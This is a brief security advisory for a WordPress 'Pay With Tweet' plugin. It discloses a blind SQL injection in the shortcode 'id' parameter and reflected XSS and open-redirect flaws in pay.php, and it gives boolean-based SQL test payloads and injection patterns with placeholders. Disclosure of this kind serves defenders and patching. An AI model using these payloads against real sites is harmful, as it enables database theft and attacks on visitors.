1)  Blind SQL Injection in shortcode:
    Short code parameter 'id' is prone to blind sqli,
    you need to be able to write a post/page to exploit this:
 
    [paywithtweet id="1' AND 1=2"]
    [paywithtweet id="1' AND 1=1"]
 
2)  Multiple XSS in pay.php
    https://www.2cto.com /wp-content/plugins/pay-with-tweet.php/pay.php  
    
    After connecting to twitter:
        ?link=&22></input>[XSS]
    After submitting the tweet:
        ?title=[XSS]&dl=[REDIRECT-TO-URL]%27)">[XSS]
 
    The final download link will be replaced with [REDIRECT-TO-URL]
